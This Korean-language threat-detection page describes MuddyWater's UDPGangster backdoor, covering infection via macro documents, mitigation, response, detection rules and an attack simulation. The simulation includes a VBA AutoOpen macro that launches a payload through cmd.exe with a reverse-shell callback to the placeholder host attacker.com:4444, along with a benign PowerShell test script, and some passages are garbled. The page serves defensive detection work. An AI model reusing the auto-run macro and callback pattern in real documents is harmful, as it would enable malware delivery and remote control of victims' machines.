UDPGangster 공격, 여러 국가로 확산
Detection stack
- AIDR
- Alert
- ETL
- Query
요약
UDPGangster는 MuddyWater 위협 그룹이 Windows 호스트를 원격으로 제어하기 위해 활용하는 UDP 기반 백도어입니다. 초기 침해는 VBA 매크로를 사용하여 악성 Word 문서를 통해 페이로드를 드롭하고 실행함으로써 발생합니다. 이 멀웨어는 광범위한 분석 방지 검사를 수행하고 사용자 AppData 디렉토리에 자신을 복사하여 지속성을 유지하고 Run 키를 생성합니다. 최근 캠페인은 터키, 이스라엘, 아제르바이잔의 사용자를 목표로 하고 있습니다.
조사
FortiGuard Labs는 피싱 이메일, 포함된 VBA 매크로, 드롭된 실행 파일 및 지속성 기술을 조사했습니다. 그들은 파일 경로, 레지스트리 Run 항목, 뮤텍스 이름 및 관련 C2 인프라와 같은 지표를 추출했습니다. IP 주소, 도메인 및 PDB 경로의 상관 관계를 통해 분석가들이 이 활동을 과거 MuddyWater 작전과 연결할 수 있었습니다.
완화
완화 단계는 매크로 실행을 방지하기 위한 매크로 차단 또는 강력한 사용자 교육 시행과 의심스러운 파일 쓰기를 공용 또는 사용자 프로필 폴더에 감시하고 Run 레지스트리 키의 수정을 방지하는 엔드포인트 방어 배포를 포함합니다. 네트워크 팀은 포트 1269에서 비정상적인 UDP 트래픽을 모니터링하고, C2 채널을 방해하기 위해 알려진 악성 IP 주소와 도메인을 차단해야 합니다.
대응
UDPGangster 활동이 감지되면 영향을 받은 엔드포인트를 격리하고, 휘발성 메모리 및 전체 디스크 이미지를 수집하며, 백도어 이진 파일 및 관련 아티팩트를 검색합니다. 식별된 C2 인프라를 차단하고, 추가로 침해된 시스템을 발견하기 위해 철저한 포렌식 분석을 수행하며, 보안 서명을 업데이트하여 악성 매크로 문서와 백도어 페이로드를 모두 탐지합니다.
공격 흐름
탐지
UDP 포트 1269를 통한 UDPGangster C2 통신 탐지 [Windows 네트워크 연결]
보기
CreateProcessA와 cmd.exe를 통한 UDPGangster 원격 명령 실행 [Windows 프로세스 생성]
보기
UDPGangster 뮤텍스 생성 탐지 [Windows Sysmon]
보기
탐지를 위한 IOCs (SourceIP): UDPGangster 캠페인이 여러 국가를 대상으로 함
보기
탐지를 위한 IOCs (DestinationIP): UDPGangster 캠페인이 여러 국가를 대상으로 함
보기
시뮬레이션 실행
전제 조건: Telemetry & Baseline Pre‑flight Check가 통과해야 합니다.
이 섹션은 탐지 규칙을 트리거하도록 설계된 정확한 적 기술(TTP)의 실행을 자세히 설명합니다. 명령 및 서술은 식별된 TTP와 직접적으로 일치해야 하며 탐지 논리에서 예상되는 정확한 텔레메트리를 생성해야 합니다.
-
공격 이야기 및 명령:
공격자는 VBA 매크로가 포함된 악성 Word 문서를 전달합니다. 매크로는 Windows API인CreateProcessA를 호출하여cmd.exe를 시작하고 UDPGangster 페이로드 (udp_gangster.exe)를 실행합니다. 페이로드는 공격자의 C2 서버로 역셸을 설정합니다. 매크로가 명령 줄에 문자열 “CreateProcessA”와 리터럴을 명시적으로 전달하기 때문에 탐지 규칙이 일치할 것입니다.cmd.exein the command line, the detection rule will match.-
VBA 매크로 (간단한 설명) – API 호출을 보여줌:
Private Declare PtrSafe Function CreateProcessA Lib "kernel32" _ (ByVal lpApplicationName As String, ByVal lpCommandLine As String, _ ByVal lpProcessAttributes As LongPtr, ByVal lpThreadAttributes As LongPtr, _ ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, _ ByVal lpEnvironment As LongPtr, ByVal lpCurrentDirectory As String, _ ByRef lpStartupInfo As STARTUPINFO, ByRef lpProcessInformation As PROCESS_INFORMATION) As Long Sub AutoOpen() Dim cmdLine As String cmdLine = "cmd.exe /c ""%TEMP%udp_gangster.exe -c attacker.com:4444""" Dim si As STARTUPINFO Dim pi As PROCESS_INFORMATION Call CreateProcessA(vbNullString, cmdLine, 0, 0, 1, &H00000010, 0, vbNullString, si, pi) End Sub -
매크로 배포, 문서를 열고 매크로가 실행되도록 합니다. 결과 프로세스 생성 이벤트에는 다음이 포함됩니다:
CommandLine: cmd.exe /c "%TEMP%udp_gangster.exe -c attacker.com:4444"
-
-
회귀 테스트 스크립트:다음 PowerShell 스크립트는 Word 문서 없이도 정확한 텔레메트리를 재현합니다. 이는 네이티브 Win32 API를 호출합니다
CreateProcessA통해서Add-Type.# 회귀 테스트: cmd.exe와 함께 직접 CreateProcessA 호출 $source = @" using System; using System.Runtime.InteropServices; public class NativeMethods { [StructLayout(LayoutKind.Sequential, CharSet=CharSet.Ansi)] public struct STARTUPINFO { public int cb; public string lpReserved; public string lpDesktop; public string lpTitle; public uint dwX; public uint dwY; public uint dwXSize; public uint dwYSize; public uint dwXCountChars; public uint dwYCountChars; public uint dwFillAttribute; public uint dwFlags; public short wShowWindow; public short cbReserved2; public IntPtr lpReserved2; public IntPtr hStdInput; public IntPtr hStdOutput; public IntPtr hStdError; } [StructLayout(LayoutKind.Sequential)] public struct PROCESS_INFORMATION { public IntPtr hProcess; public IntPtr hThread; public uint dwProcessId; public uint dwThreadId; } [DllImport("kernel32.dll", CharSet=CharSet.Ansi, SetLastError=true)] public static extern bool CreateProcessA( string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); } "@ Add-Type $source $si = New-Object NativeMethods+STARTUPINFO $si.cb = [Runtime.InteropServices.Marshal]::SizeOf([NativeMethods+STARTUPINFO]) $pi = New-Object NativeMethods+PROCESS_INFORMATION $cmd = 'cmd.exe /c "echo UDPGangster simulation > $env:TEMPudp_gangster.log"' $result = [NativeMethods]::CreateProcessA($null, $cmd, [IntPtr]::Zero, [IntPtr]::Zero, $true, 0x00000010, [IntPtr]::Zero, $null, [ref]$si, [ref]$pi) if (-not $result) { Write-Error "CreateProcessA failed: $([Runtime.InteropServices.Marshal]::GetLastWin32Error())" } else { Write-Host "CreateProcessA succeeded, command line logged." } -
정리 명령:시뮬레이션 중에 생성된 아티팩트를 제거하십시오.
# 시뮬레이션에서 생성된 임시 로그 파일 제거 Remove-Item -Path "$env:TEMPudp_gangster.log" -ErrorAction SilentlyContinue